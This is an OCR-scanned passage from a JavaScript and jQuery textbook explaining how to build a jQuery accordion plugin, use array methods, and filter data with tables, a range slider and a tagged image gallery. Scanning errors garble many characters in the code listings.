handler for It. (Steps 4-12 on the page p519.) 
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CREATING A 
JQUERY PLUGIN 


jQuery plugins allow you to add new methods 
to jQuery without customizing the library itself. 


jQuery plugins have benefits over plain scripts: 

* You can perform the same task on any elements 
that match jQuery's flexible selector syntax 

* Once the plugin has done its job, you can chain 
other methods after it (on the same selection) 

* They facilitate re-use of code (either within one 
project or across multiple projects) 

* They are commonly shared within the JavaScript 
and jQuery community 

* Namespace collisions (probiems when two 
scripts use the same variable name) are 
prevented by placing the script is placed in an ItFE 
(Immediately invoked function expression, which 
you met on p97) 


You can turn any function into a plugin if it: 

• Manipulates a jQuery selection 

• Can return a jQuery selection 

The basic concept is that you: 

• Pass it a set of DOM elements in a jQuery 
selection 

• Manipulate the DOM elements using the jQuery 
plugin code 

• Return the jQuery object so that other functions 
can be chained off it 


This final example shows you 
how to create a jQuery plugin. 

It takes the accordion example 
you saw at the start of the 
chapter and turns it into a plugin. 


The earlier version applied to all 
matching markup on the page; 
the plugin version requires that 
users call the accord i on ( ) 
method on a jQuery selection. 


Here a jQuery selection is made 
collecting elements with a class 
of menu. The ,accordi on() 
method is called; once that has 
run, , fade In {) is called. 


$ ( 1 .menu 


i 


( 1 > 


) .accord ion (500) . fadeln { ) 


J L 


<i> 


i L, 


<§) 


9 


1, A jQuery selection is made 
containing any elements which 
have the class of menu. 


2. The .accordion() method 
is called on those elements. It 
has one parameter; the speed of 
animation (in milliseconds). 


3, The ,fadeln() method is 
applied to the same selection of 
elements once .accordion() 
has done its job. 
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BASIC PLUGIN STRUCTURE 


1) ADDING A METHOD TO JGUERY 

Parameters that can be passed 
to the function are placed inside 
the parentheses on the first fine: 

$.fn. accordion = functi on(speed) { 

// Plugin will go here 

} 


jQuery has an object called . f n Plugins are written as methods 

which helps you extend the that are added to the .fn object, 

functionality of jQuery, 


2) RETURNING THE JQUERY SELECTION TO CHAIN METHODS 


jQuery works by collecting a set 
of elements and storing them 
in a jQuery object The jQuery 
object's methods can be used to 
after the selected elements. 

£.fn. accordion = functi on (s 
// Plugin will go here 
return this; 

} 


Because jQuery lets you chain 
multiple methods to the same 
selection, once the plugin has 
done its job it should return the 
selection for the next method. 

peed) { 


The selection is returned using: 
1, The return keyword (sends a 
value back from a function) 

2* thi s (refers to the selection 
that was passed in) 


3) PROTECTING THE NAMESPACE 


jQuery is not the only JavaScript 
library to use $ as a shorthand, 
so the plugin code lives in an 
IIFE, which creates function-level 
scope for the code in the plugin. 

(function($) { 

$.fn. accordion - function 
// Plugin code will go here 

i 

}) (jQuery); 


On the first line below, the ! IFE 
has one named parameter: $. On 
the last line, you can see that the 
jQuery selection is passed into 
the function. 

peed) { 


Inside the plugin, $ acts like a 
variable name. It references the 
jQuery object containing the set 
of elements that the plugin is 
supposed to be working with. 


[f you want to pass in more 
values, it is typically done using a 
single parameter called options. 


When the function is called, the 
opti ons parameter contains an 
object literal 


The object can contain a set of 
key/value pairs for the different 
options. 
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THE ACCORDION PLUGIN 


o 

© 

0 

0 

O 

0 

0 

0 

0 

O 


I1FE: 

Pass in the jQuery selection ($) 


FUNCTION: accordionO 
Created on fn object 

Event: click on tab 


I 


ANONYMOUS FUNCTION: 
Shows/hides corresponding panel 

Prevent default action of button 

l 

Get button user clicked on 
I 

Get corresponding panel 

4 - 


9 

L 


Is panel being 
animated? 


Is panel visible? 

Show panel Hide panel 

Return jQuery object 


To use the plugin, you create a jQuery selection that 
contains any <ul > elements that hold an accordion. 
In the example on the right, the accordion is In a 
<ul > element that has a class name of menu (but 
you could use any name you wish). You then call the 
.accordionO method on that selection, like so: 

$( 1 .menu 1 } , accordion (500) ; 

This code could be placed in the HTML document 
(as shown on the right-hand page), but it would 
be better placed in a separate JavaScript file that 
runs when the page loads (to keep the JavaScript 
separate from the HTML). 


You can see the full code for the accordion plugin 
on the right. The parts in orange are identical to the 
accordion script at the start of the chapter. 

1. The plugin is wrapped in an IIFE to create function- 
level scope. On the first line, the function is given 
one named parameter: S (which means you can use 
the $ shortcut for jQuery in the function). 

10. On the last line of code, the jQuery object is 
passed into the function (using its full name jQuery 
rather than its shortcut $). This jQuery object 
contains the selection of elements that the plugin is 
working with. Together, points 1 and 10 mean that in 
the IIFE, $ refers to the jQuery object and it will not 
be affected if other scripts use $ as a shorthand, too. 

2. Inside the IIFE, the new .accordionO method is 
created by extending the f n object. It takes the one 
parameter of speed, 

3. The thi s keyword refers to the jQuery selection 
that was passed Into the plugin, it is used to create 
an event handler that will listen for when the user 
clicks on an element with a class attribute whose 
value is accordi on-control . When the user does, 
the anonymous function runs to animate the 
corresponding panel into or out of view. 

4. The default action of the link is prevented. 

5. In the anonymous function, $ { t hi s } refers to a 
jQuery object containing the element that the user 
clicked upon, 

6. 7. 8, The only difference between this anonymous 
function and the one used in the example at the start 
of the chapter is that the . si 1 del oggle() method 
takes a parameter of speed to indicate how fast the 
panel should be shown or hidden. (It is specified 
when the .accordi on {) method is called,) 

9. When the anonymous function has done its work, 
the jQuery object containing the selected elements 
is returned from the function, allowing the same set 
of elements to be passed to another jQuery method. 
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JAVASCRIPT 


c 1 1/ j s/accq rd i on-pl ug f n , j $ 


(T) (function(l) { // Use $ as variable name 

© $.fn. accordion » function (speed) { // Return the jQuery selection 

( 5 ) this. on ( 'cl ick' , '.accordion-control 1 , function(e){ 

@ e.preventDefault(); 

(D ${this) 

© . next {' .accordion-panel ') 

© ,not(' :animated‘) 

© .slideToggle(speed) ; 

}); 

® return this; // Return the jQuery selection 

} 

® }) (jQuery); // Pass in jQuery object 


Note how the filename for 
the jQuery plugin starts with 
j query, to indicate that this 
script relies upon jQuery. 


HTML 


<ul class="menu"> 

<li> 

<a href^' 1 #" cl ass="accordi on-control "><h3>Cl assics</h3></a> 

<div cl ass="accordi on-panel ">If you like your flavors traditional ,</di v> 

</li> 

<Ti> 

<a href=“#“ cl ass="accordi on-control “><h3>The Flower Series</h3></a> 

<div cl ass="accordi on-panel “>Take your tastebuds for a gentle. . .</div> 

</l i> 

<li> 

<a href="#" cl ass='accordi on-control "><h3>Salt o' the Sea</h3></a> 

<div cl ass=*'accordi on-panel ">Ahoy! If you long for a taste of...</div> 

</li> 

</ul> 

<script src= H j s/j query . j s H ></scri pt> 

<script src-“j s/j query . accord! on . j s “></scri p t> 

<scri pt> 

$(' .menu') .accordion(500); 

</scri pt> 


After the accordion plugin 
script has been included, the 
accord! on {) method can be 
used on any jQuery selection. 


Below you can see the HTML 
for the accordion. This time it 
includes both the jQuery script 
and the jQuery accordion script. 

cll/accordi on-pl ugin.html 
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SUMMARY 

CONTENT PANELS 



Content panels offer ways to show more content 
within a limited area. 

Popular types of content panels include accordions, 
tabs, photo viewers, modal windows, and sliders. 

As with all website code, it is advisable to separate 
content (HTML), presentation (CSS), and behavior 
(JavaScript) into different files. 

You can create objects to represent the functionality 
you want (as with the modal window). 

You can turn functions into jQuery plugins that allow 
you to re-use code and share it with others. 

Immediately invoked function expressions (IIFEs) are 
used to contain scope and prevent naming collisions. 




FILTERING, 
SEARCHING 
& SORTING 



If your pages contain a lot of data, there are tree techniques 
that you can use to help your users to find the content they 
are looking for. 

FILTERING SEARCH SORTING 

Filtering lets you reduce a Search lets you show the Sorting lets you reorder a 

set of values, by selecting items that match one set of items on the page 

the ones that meet stated or more words the user based on criteria (for 

criteria. specifies. example, alphabetically). 


Before you get to see how to deal with filtering, searching, and sorting, it is important to 
consider how you are going to store the data that you are working with. In this chapter many 
of the examples will use arrays to hold data stored in objects using literal notation. 





JAVASCRIPT ARRAY 
METHODS 


An array is a kind of object. All arrays have the methods listed below; 
their property names are index numbers. You will often see arrays used 
to store complex data (including other objects). 


Each item in an array is sometimes called an element. It does not mean that the array holds HTML elements; 
element is just the name given to the pieces of information in the array. *Note some methods only work in IE9+. 


ADDING ITEMS 

pusfo() 

Adds one or more items to end of array and returns number of items in it 


unshift{) 

Adds one or more items to start of array and returns new length of it 

REMOVING ITEMS 

pop() 

Removes last element from array (and returns the element) 



Removes first element from array (and returns the element) 

ITERATING 

f or Each () 

Executes a function once for each element in array* 


some() 

Checks if some elements in array pass a test specified by a function* 


every Q 

Checks if all elements in array pass a test specified by a function* 

COMBINING 

concat() 

Creates new array containing this array and other arrays/values 

FILTERING 

fil ter() 

Creates new array with elements that pass a test specified by a function* 

REORDERING 

sort{) 

Reorders items in array using a function (called a compare function) 


reverse () 

Reverses order of items in array 

MODIFYING 

map() 

Calls a function on each element in array & creates new array with results 
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JQUERY METHODS FOR 
FILTERING & SORTING 


jQuery collections are array-like objects representing DOM elements. 
They have similar methods to an array for modifying the elements. 

You can use other jQuery methods on the selection once they have run. 


In addition to the jQuery methods shown below, you may see animation methods chained after filtering and 
sorting methods to create animated transitions as the user makes a selection. 


ADDING OR 
COMBINING 

ITEMS 

*add() 

Adds elements to a set of matched elements 

REMOVING ITEMS 

mot () 

Removes elements from a set of matched elements 

ITERATING 

,each{) 

Applies same function to each element in matched set 

FILTERING 

■fil ter () 

Reduces number of elements in matched set to those that either match 
a selector or pass a test specified by a function 

CONVERTING 

. toArrayO 

Converts a jQuery collection to an array of DQM elements, enabling the 


use of the array methods shown on the left-hand page 
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SUPPORTING OLDER 
BROWSERS 


Older browsers do not support the latest methods of the Array object. 
But a script called the ECMAScript 5 Shim can reproduce these methods. 
ECMAScript is the standard that modern JavaScript is based upon. 


A BRIEF HISTORY OF JAVASCRIPT 


1996 Jan 


Feb 


Mar 

Netscape Navigator 2 contains the 

Apr 

first version of JavaScript written 

May 

by Brendan Eich 

Jun 


Jul 


Aug 

Microsoft created a compatible 

Sep 

scripting language called JScript 

Oct 


Nov -*■ 

Netscape gave JavaScript to the 


Dec ECMA standards body so that its 
development could be standardized 

1997 Jan 
Feb 
Mar 
Apr 
May 

Jun ECMAScript 1 was released 

Jul 

Aug 

Sep 

Nov 

Dec 

2014 May Time of writing: ECMAScript 6 Is 

close to being finalized 


ECMAScript is the official name for the standardized 
version of JavaScript, although most people still call 
it JavaScript unless they are discussing new features. 

ECM A International is a standards body that looks 
after the language, just like the W3C looks after 
HTML and CSS. And, browser manufacturers often 
add features beyond the ECMA specs (just as they 
do with HTML fit CSS). 

In the same way that the latest features from the 
HTML and CSS specifications are only supported 
in the most recent browsers, so the latest features 
of ECMAScript are only found in recent browsers. 
This will not affect much of what you have learned 
in this book (and jQuery helps iron out issues with 
backwards compatibility), but it is worth noting for 
the techniques you meet in this chapter. 

The following methods of the Array object were 
all introduced in ECMAScript version 5, and they 
are not supported by Internet Explorer 8 Cor older): 
forEach{), some(), every (), fil ter(),map(). 

For these methods to work in older browsers 
you include the ECMAScript 5 Shim, a script that 
reproduces their functionality for legacy browsers: 
https://github.com/es-shims/es5-shim 
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ARRAYS VS. OBJECTS 
CHOOSING THE BEST 
DATA STRUCTURE 


In order to represent complex data you might need several objects. 

Groups of objects can be stored in arrays or as properties of other objects. 
When deciding which approach to use, consider how you will use the data. 


OBJECTS IN AN ARRAY 
When the order of the objects is important, they 
should be stored in an array because each item in 
an array is given an Index number. (Key-value pairs 
in objects are not ordered.) But note that the index 
number can change if objects are added/removed. 
Arrays also have properties and methods that help 
when working with a sequence of items, e.g. r 

• The sort () method reorders items in an array. 

• The 1 ength property counts the number of items. 

var people = [ 

{name: ’Casey 1 , rate: 70, active: true}, 
{name: 'Camille 1 , rate: 80, active: true}, 
{name: 'Gordon 1 , rate: 75, active: false}, 
{name: 'Nigel 1 , rate: 120, active: true} 

] 

To retrieve data from an array of objects, you can 
use the index number for the object: 

// This retrieves Camille's name and rate 
person[l] .name; 
person [1] .rate; 

To add/remove objects in an array you use array 
methods. 

To iterate over the items in an array you can use 
forEach(), 


OBJECTS AS PROPERTIES 

When you want to access objects using their name, 
they work weli as properties of another object 
(because you would not need to iterate through all 
objects to find that object as you would in an array). 

But note that each property must have a unique 
name. For example, you could not have two 
properties both called Casey or Cami 1 1 e within the 
same object in the following code. 

var people = { 

Casey = {rate: 70, active: true}, 

Camille = {rate: SO, active: true}, 

Gordon = {rate: 75, active: false}, 

Nigel = (rate: 120, active: true] 

} 

To retrieve data from an object stored as a property 
of another object, you can the object's name: 

// This retrieves Casey's rate 
people. Casey. rate; 

To add/remove objects to an object you can use the 
del ete keyword or set it to a blank string. 

To iterate over child objects you can use 
Object, keys. 
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FILTERING 


Filtering lets you reduce a set of values. 

It allows you to create a subset of data that meets certain criteria. 


To look at filtering, we will start with data about 
freelancers and their hourly rate. Each person Is 
represented by an object Eiteral (in curly braces). 
The group of objects is held in an array: 

var people = [ 

{ 

name: 'Casey', 
rate: 60 

1 . 

{ 

name: 'Camille 1 , 
rate: 80 

}. 

t 

name: 'Gordon' , 
rate: 75 

h 

{ 

name: 'Nigel 1 s 
rate: 120 

} 

h 


The data will be filtered before it is displayed. To do 
this we will loop through the objects that represent 
each person. If their rate is more than $65 and less 
than $90, they are put in a new array called resul ts 



Add person to results array 

GOTO NEXT PERSON ^ 


NAME HOURLY RATE ($) 

Camille 30 


Gordon 


75 
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DISPLAYING THE ARRAY 


On the next two pages, you will see two different 
approaches to filtering the data in the people array, 
both of which involve using methods of the Array 
object: ♦forEachO and .filterQ. 

Both methods will be used to go through the data in 
the peopl e array, find the ones who charge between 
$65 and $90 per hour and then add those people to 
a new array called resul ts. 

Once the new resul ts array has been created, a for 
loop will go through It adding the people to an HTML 
table (the result is shown on the left-hand page). 


JAVASCRIPT 


Below, you can see the code that displays the data 
about the people who end up in the resul ts array; 
1- The entire example runs when the DOM is ready. 

2, The data about peopte and their rates is included 
In the page (this data is shown on left-hand page). 

3, A function wifi filter the data in the peopl e array 
and create a new array called results (next page). 

4, A <tbody> element is created, 

5, A for loop goes through the array and uses 
{Query to create a new table row for each person 
and their hourly rate. 

6, The new content is added to the page after the 
table heading, 

c!2/js/fi lter-foreach Js + c!2/js/fil ter-ff 1 ter, js 


© 

© 

© 

© 

d> 


$(function() { 

// DATA ABOUT PEOPLE GOES HERE (shown on left-hand page) 

// FILTERING CODE (see p537) GOES HERE - CREATES A NEW ARRAY CALLED results 
// LOOP THROUGH NEW ARRAY AND ADD MATCHING PEOPLE TO THE RESULTS TABLE 


var $tabl eBody - $ ( l <tbody></tbody>' ) ; 
for (var i = 0; i < resul ts. length; i++) { 
var person = resul ts [i] ; 
var $row = ${ 1 <tr></tr> [ ) ■ 

$row. append ($( , <td></td> 1 ) , text (person. name}) ; 
$row.append($(’<td></td> 1 ) .text (person. rate)) ; 
Stabl eBody . append ( $row ); 


// New content jQuery 
// Loop through matches 
// Store current person 
// Create a row for them 
// Add their name 
// Add their rate 
// Add row to new content 


} 


// Add the new content after the body of the page 
© $( 'thead') . after ($tabl eBody); // Add tbody after thead 

}); 
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USING ARRAY METHODS 
TO FILTER DATA 


The array object has two methods that are very useful for filtering data. 
Here you can see both used to filter the same set of data. 

As they filter the data, the items that pass a test are added to a new array. 


The two examples on the right both start with an 
array of objects (shown on p534) and use a filter 
to create a new array containing a subset of those 
objects. The code then loops through the new array 
to show the results (as you saw on the previous page). 

* The first example uses the forEachf) method. 

* The second example uses the f i I ter () method. 

forEachf) 

The forEach{) method loops through the array and 
applies the same function to every item in it, 
forEachf) is very flexible because the function can 
perform any kind of processing with the items in an 
array (not just filtering as shown in this example). 

The anonymous function acts as a filter because 
it checks if a person’s rates are within a specified 
range and, if so, adds them to a new array, 

1, A new array is created to hold matching results, 

2 , The people array uses the forEachf) method to 
run the same anonymous function on each object 
(that represents a person) in the peopl e array, 

3, If they match the criteria, they are added to the 
results array using the push() method. 


Note how person is used as a parameter name and 
acts as a variable inside the functions: 

• In the forEachf) example it is used as a 
parameter of the anonymous function, 

• In the f 1 1 ter () example it is used as a parameter 
of the priceRangef) function. 

It corresponds to the current object from the peopl e 
array and is used to access that object’s properties. 

fi lter{) 

The fi 1 ter() method also applies the same 
function to each item in the array, but that function 
only returns true or fal se, If it returns true, the 
ft 1 ter () method adds that item to a new array. 

The syntax is slightly simpler than forEachf), but is 
only meant to be used to filter data, 

1. A function called priceRangef) is declared; it 
will return true if the person’s wages are within the 
specified range, 

2. A new array is created to hold matching results. 

3. The fil ter{) method applies the priceRangef) 
function to each item in the array. If priceRangef) 
returns true, that item is added to the results array. 
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STATIC FILTERING OF DATA 


JAVASCRIPT 


c 12/j s/f i 1 ter-f oreach » j s 


© 

® 

d> 


$(function{) { 

// DATA ABOUT PEOPLE GOES HERE (shown on p534) 

// CHECKS EACH PERSON AND ADDS THOSE IN RANGE TO ARRAY 

var results = [] ; // Array for people in range 

people. forEach (function (person) { // For each person 

if (person. rate >= 65 && person. rate <= 90) { // Is rate in range 
results. push(person) ; // If yes add to array 

. ) 

}); 


// LOOP THROUGH RESULTS ARRAY AND ADD MATCHING PEOPLE TO THE RESULTS TABLE 

}); 


JAVASCRIPT 


$(function() { 

// DATA ABOUT PEOPLE GOES HERE (shown on p534) 


c 12/j s/fil ter-f 1 1 ter. js 


©■ 

© 

© 


// THE FUNCTION ACTS AS A FILTER 

function priceRange{ person) { // Declare priceRange() 

return (person. rate >= 65) && (person. rate <= 90); // In range returns true 

1 ; 

// FILTER THE PEOPLE ARRAY & ADD MATCHES TO THE RESULTS ARRAY 

var results = []; // Array for matching people 

results = people. fi 1 ter(priceRange) ; // filter() calls priceRangeQ 


// LDOP THROUGH RESULTS ARRAY AND ADD MATCHING PEOPLE TO THE RESULTS TABLE 

}); 


The code that you saw on the p535 to show the table results could liveinthe .forEach() method, but it is 
separated out here to illustrate the different approaches to filtering and how they can create new arrays. 
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DYNAMIC FILTERING 


If you let users filter the contents of a page, you can build all of the HTML 
content, and then show and hide the relevant parts as the user interacts 
with the filters. 


Imagine that you were going to provide the user with 
a slider so that they could update the price that they 
were prepared to pay per hour. That slider would 
automatically update the contents of the table based 
upon the price range the user had specified. 

If you built a new table every time the user interacts 
with the slider (like the previous two examples that 
showed filtering), it would involve creating and 
deleting a lot of elements. Too much of this type of 
DOM manipulation can slow down your scripts. 


A far more efficient solution would be to; 

1. Create a table row for every person. 

2. Show the rows for the people that are within the 
specified range, and hide the rows that are outside 
the specified bounds. 

Below, the range slider used Is a jQuery plugin called 
noUiSlider (written by Leon Gerson), 
http://refreshless.com/nouislider/ 


CreativeFolk find talented people for your creative projects 


Min: 



Max: 



NAME HOURLY RATE ($) 

Camille SO 


Gordon 


75 
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Before you see the code for this example, take a 
moment to think about how to approach this script... 
Here are the tasks that the script needs to perform; 

i) It needs to go through each object in the array and 
create a row for that person. 

ii) Once the rows have been created, they need to be 
added to the table. 

iii) Each row needs to be shown / hidden depending 
on whether that person is within the price range 
shown on the slider. (This task happens each time 
the slider is updated.) 

In order to decide which rows to show / hide, the 
code needs to cross-reference between: 

• The person object in the people array 
(to check how much that person charges) 

• The row that corresponds to that person in the 
table (which needs to be made visible or hidden) 

To build this cross-reference we can create a new 
array called rows. It will hold a series of objects with 
two properties; 

• person: a reference to the object for this person 
in the people array 

• $e1 ement: a jQuery collection containing the 
corresponding row in the table 


In the code, we create a function to represent each 
of the tasks identified on the left. The new cross- 
reference array will be created in the first function: 

makeRowsQ will create a row in the table for each 
person and add the new object into the rows array 

appendRows () loops through the rows array and 
adds each of the rows to the table 

update () will determine which rows are shown or 
hidden based on data taken from the slider 


In addition, we will add a fourth function; i ni t ( ) 
This function contains all of the information that 
needs to run when the page first loads (including 
creating the sfider using the plugin). 

i ni t is short for initialize; you will often see 
programmers using this name for functions or 
scripts that run when the page first loads. 

Before looking at the script in detail, the next two 
pages are going to explain a little more about the 
rows array and how it creates the cross-reference 
between the objects and the rows that represent 
each person. 
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STORING REFERENCES TO 
OBJECTS & DOM NODES 


The rows array contains objects with two properties, which associate: 

1: References to the objects that represent people in the people array 
2: References to the row for those people in the table (jQuery collections) 


You have seen examples in this book where 
variables were used to store a reference to a DOM 
node or jQuery selection (rather than making the 
same selection twice). This is known as caching. 

This example takes that idea further: as the code 
loops through each object in the people array 
creating a row in the table for that person, it also 
creates a new object for that person and adds it 
to an array called rows. Its purpose is to create an 
association between; 

• The object for that person in the source data 

# The row for that person in the table 

When deciding which rows to show* the code can 
then loop through this new array checking the 
person's rate. If they are affordable, it can show the 
row. If not, it can hide the row. 

This takes less resources than recreating the 
contents of the table when the user changes the 
rate they are willing to pay. 


ROWS ARRAY 


INDEX: 

OBJECT: 


0 

; person 

peopie[0] 

I $element 

<tr> 


r — — 

g| ; person 

people!!] 

* 

l Selement ; 
# 

<tr> 



On the right, you can seethe Array object’s push() 
method creates a new entry in the rows array. The 
entry is an object literal, and it stores the person 
object and the row being created for if in the table. 


rows*pusfi({ 
person: this, 
$element: $row 
»; 


// person object 
// jQuery collection 
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PEOPLE ARRAY HTML TABLE 


INDEX: OBJECT: 



; name 

j Casey 

0 

* rate 

| 70 






The people array already holds information about 
each person and the rates that they charge, so the 
object in the rows array only needs to point to the 
original object for that person (it does not copy it). 


A j Query object was used to create each row of 
the table. The objects in the rows array store a 
reference to each individual row of the table. 
There is no need to select or create the row again. 
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DYNAMIC FILTERING 


1. Place the script in an IIFE (not shown in flowchart). 
The IIFE starts with the peopl e array. 

2. Next, four global variables are created as they are 
used throughout the script: 

rows holds the cross-referencing array , 

$mi n holds the input to show the minimum rate. 

$max holds the input to show the maximum rate. 
Stable holds the table for the results. 

3* makeRowsO loops through each person in the 
peopl e array calling an anonymous function for each 
object in the array. Note how person is used as a 
parameter name. This means that within the function, 
person refers to the current object in the array. 

4. For each person, a new jQuery object called Srow 
is created containing a <tr> element. 

5. The person's name and rate are added in <td>s. 

6. A new object with two properties is added to the 
rows array: person stores a reference to their object, 
$el ement stores a reference to their <tr> element. 


Create variables: 

a rows: an array linking people with rows 
™ Jmin & $max: minimum and maximum rate inputs 
Stabl e: stores the table that holds the results 


© 


o 

© 

o 


FUNCTION: makeRowsf) 

Creates table rows & populates the rows array 


LOOP THROUGH OBJECTS IN peOpl G ARRAY 


ANONYMOUS FUNCTION 

Create Srow holds <tr> element 
l Add <td>s holding name & rate 

Add new object to rows array 
Add references to person & Jrow 

^ GOTO NEXT OBJECT IN people ARRAV ^ 


FUNCTION: appendRowsQ adds rows to <tbody> 
Q Create <tbody> to hold <tr> elements 


7. appendRows () creates a new jQuery object called 
Jtbody containing a <tbody> element. 

8. It then loops through all of the objects in the rows 
array and adds their <tr> element to Jtbody. 

9. The new Jtbody selection is added to the <table>, 


0 


LOOP THROUGH OBJECTS IN TOWS ARRAY 


Add Jrow to Jtbody element 
GO TO NEXT OBJECT IN TOWS ARRAY 

Add <tbody> to <tabl e> 




10. update () goes through each of the objects in 
the rows array and checks if the rate that the person 
charges is more than the minimum and less than the 
maximum rate shown on the slider. 

11. If it is, jQuery's showf) method shows the row, 

12. ff not, jQuery s hide () method hides the row, 

13. i ni t ( ) starts by creating the slide control. 

14. Every time the slider is changed, the update () 
function is called again. 

15. Once the slider has been set up, the makeRows ( ), 
appendRows (), update () functions are called. 

16. The init() function is called (which will in turn 
call the other code). 


FUNCTION: update () updates table contents 


LOOP THROUGH OBJECTS IN TOWS ARRAY 


© 


Is rate >= mi n 
& rate <= max? 


i 


?o 


Hide row Show row 

GO TO NEXT OBJECT IN TOWS ARRAY 


0 FUNCTION: initf) sets up the script 

© Set up slider 

© Call makeRows () f appendRowsf), updateO 


Call initf) when the DOM has loaded 
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FILTERING AN ARRAY 


JAVASCRIPT 


c 12/ j s /dynami c- f i 1 ter ■ j s 


© 

©- 

©- 

d> 

a> 

(y> 

( 8 > 

® 

©- 

©- 


© 


(functionQ { 
var rows = [] , 

$min = ${ '#value-min' ) , 

$max = ${ '#val ue-max' ) , 

Stable = $( '#rates ' ) ; 
function makeRows{) { 
peopl e. forEach( function (person) 
var $row = $('<tr></tr>' ) ; 
$row. append ( $('<td></td 
$row.append{ $('<td></td 


// PEOPLE ARRAY GOES HERE 
// rows array 
// Minimum text input 
// Maximum text input 
// The table that shows results 
// Create table rows and the array 
{ // For each person object in people 

// Create a row for them 
) .text(person.name) ); // Add their name 
) .text{person,rate) ); // Add their rate 


rows. push ({ // Add object to cross-references between people and rows 


person: person, 
Selement: $row 


})i 

}); 

} 

function appendRowsQ { 
var $tbody = $( '<tbody></tbody> 
rows. forEach (function (row) ( 
$tbody.append(row. Selement) ; 
}); 

Stable. append{$tbody) ; 

} 

function update (min, max) { 
rows.forEach(function(row) { 


// Reference to the person object 
// Reference to row as jQuery selection 


// Adds rows to the table 
'); // Create <tbody> element 

// For each object in the rows array 
// Add the HTML for the row 

// Add the rows to the table 

// Update the table content 
// For each row in the rows array 


if (row. person. rate >= min && row. person. rate <= max) ( // If in range 


row.Sel ement.show() ; 
} else { 

row.$element.hide() ; 

} 


// Show the row 
// Otherwise 
// Hide the row 


}); 


} 

function ini t() { 

$( ^slider’) ,noUiSlider({ 


// Tasks when script first runs 
// Set up the slide control 
range: [0, 150], start: [65, 90], handles: 2, margin: 20, connect: true, 
serialization: { to: [5min,$max], resolution: 1 } 

} ) . change(function() { update($mi n. val () , $max.val()); }); 


} 


makeRows () ; 
appendRowsQ ; 

update ($tnin. val () , $max.val()); 


$(init) ; 

}()); 


// Create table rows and rows array 
// Add the rows to the table 
// Update table to show matches 

// Call initQ when DOM is ready 
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FILTERED IMAGE GALLERY 


In this example, a gallery of images are tagged. 
Users click on filters to show matching images. 


IMAGES ARE TAGGED 

In this example, a series of 
photos are tagged. The tags are 
stored in an HTML attribute 
called data-tags on each of the 
<img> elements, HTML5 allows 
you to store any data with an 
element using an attribute that 
starts with the word data™. The 
tags are comma-separated. 

(See right-hand page) 


TAGGED OBJECT 

The script creates an object 
called tagged. The script then 
goes through each of the images 
looking at its tags. Each tag 
ts added as a property of the 
tagged object. The value of that 
property is an array holding a 
reference to each <img> element 
that uses that tag. 

(See p546-p547) 


FILTER BUTTONS 

By looping through each of the 
keys on the tagged object the 
buttons can automatically be 
generated. The tag counts come 
from the 1 ength of the array. 
Each button is given an event 
handler. When clicked, it filters 
the images and only shows those 
with the tag the user selected. 
(See p548-p549) 
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TAGGED IMAGES 


HTML 


cl2/filter-tags.html 


<body> 

<header> 

<hl>Creati veFol k</hl> 

</header> 

<div id="buttons"></div> 

<div id="ga11ery ll > 

<img 5 rc="img/pl . jpg" data-tags="Am'mators, Illustrators 11 alt="Rabbit" /> 
<img src=*'1mg/p2. jpg" data-tags="Photographers, Filmmakers" alt="Sea" /> 
<img src="img/p3. jpg" data-tags=" Photographers, Filmmakers" alt="Deer" /> 
<img src="img/p4. jpg" data-tags="Designers'‘ alt="New York Street Map" /> 
<img src="img/p5. jpg" data-tags="Filmmakers" alt="Trumpet Player" /> 

<img src =l, img/p6. jpg" data-tags="Designers, Animators" alt="Logo Ident" /> 
<img src="img/p7.jpg" data-tags=" Photographers" alt="Bicycle Japan" /> 

<img src="img/p8. jpg" data-tags="Designers" alt="Aqua Logo" /> 

<img src="img/p9,jpg" data-tags="Animators, Illustrators" alt="Ghost" /> 
</div> 

<script src="js/jquery.js"></scri pt> 

<script src=" js/fi Iter-tags. js"x/scri pt> 

</body> 


On the right, you can see the tagged object for the 
HTML sample used in this example. For each new 
tag in the images' data-tags attribute, a property 
is created on the tagged object. Here it has five 
properties: animators, designers, filmmakers, 
i 1 lustrators, and photographers. The value is an 
array of images that use that tag. 


tagged = { 

animators: [pi, jpg, p6.jpg , p9.jpg ], 
designers: [p4.jpg, p6.jpg, p8.jpg] 
filmmakers: [ p2.jpg , p3.jpg, p5.jpg ] 
illustrators: [pi, jpg, p9.jpg] 
photographers: [p2.jpg , p3.jpg, p8.jpg ] 

} 
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PROCESSING THE TAGS 


Here you can see how the script is set up. It loops 
through the images and the tagged object is given 
a new property for each tag. The value of each 
property is an array holding the images with that tag, 

1. Place the script in an IIFE (not shown in flowchart). 

2, The $i rrgs variable holds a jQuery selection 
containing the images- 

3* The Jbuttons variable holds a jQuery selection 
holding the container for the buttons. 

4. The tagged object is created, 

5. Loop through each of the images stored in $imgs 
using jQuery’s * each ( ) method. For each one, run 
the same anonymous function: 

6. Store the current image in a variable called img. 

7. Store the tags from the current image in a variable 
called tags. (The tags are found in the image’s 
data-tags attribute.) 

8. If the tags variable for this image has a value: 

9. Use the String object's spl it() method to create 
an array of tags (splitting them at the comma). 
Chaining the * forEach C) method off the spl it () 
method lets you run an anonymous function for each 
of the elements in the array (in this case, each of the 
tags on the current image). For each tag: 

10. Check if the tag is already a property of the 
tagged object, 

IT. If not add Et as a new property whose value is an 
empty array. 

12. Then get the property of the tagged object that 
matches this tag and add the image to the array that 
is stored as the value of that property. 

Then move onto the next tag (go back to step 10), 
When all of the tags for that image have been 
processed, move to the next image (step 5). 


A Create variables? 

© II mgs; ail images 
0 Sbuttons: element with i d of buttons 

Create object: 
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THE TAGGED OBJECT 


JAVASCRIPT 


cl2/js/f liter-tags. j$ 


© (functionQ { 

© var $imgs = $(’#gallery i mg ' ) ; 

(?) var Sbuttons = $( 1 #buttons ' ) ; 

© var tagged = {}; 

© $imgs.each(function() { 

© var i mg = this; 

© var tags = $(this) .data{ 'tags') ; 

© if (tags) { 

® tags . sp 1 i t ( ' , ') .forEach(function(tagName) { 

© if (tagged [tagName] == null) { 

© tagged [tagName] = [] ; 

} 

® tagged [tagName] .push(img) ; 

}); 

1 

}): 


// Store all images 
// Store buttons element 
// Create tagged object 

// Loop through images and 
// Store img in variable 
// Get this element's tags 

// If the element had tags 
// Split at comma and 
// If object doesn't have tag 
// Add empty array to object 

// Add the image to the array 


// Buttons, event handlers, and filters go here (see p549) 

}()); 
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FILTERING THE GALLERY 


The filter buttons are created and added by the 
script. When a button is clicked, it triggers an 
anonymous function, which will hide and show the 
appropriate images for that tag. 

1* The script fives in an IIFE (not shown in flowchart). 

2. Create the button to show all images. The second 
parameter is an object literal that sets its properties: 

3. The text on the button is set to say 'Show A1 1 

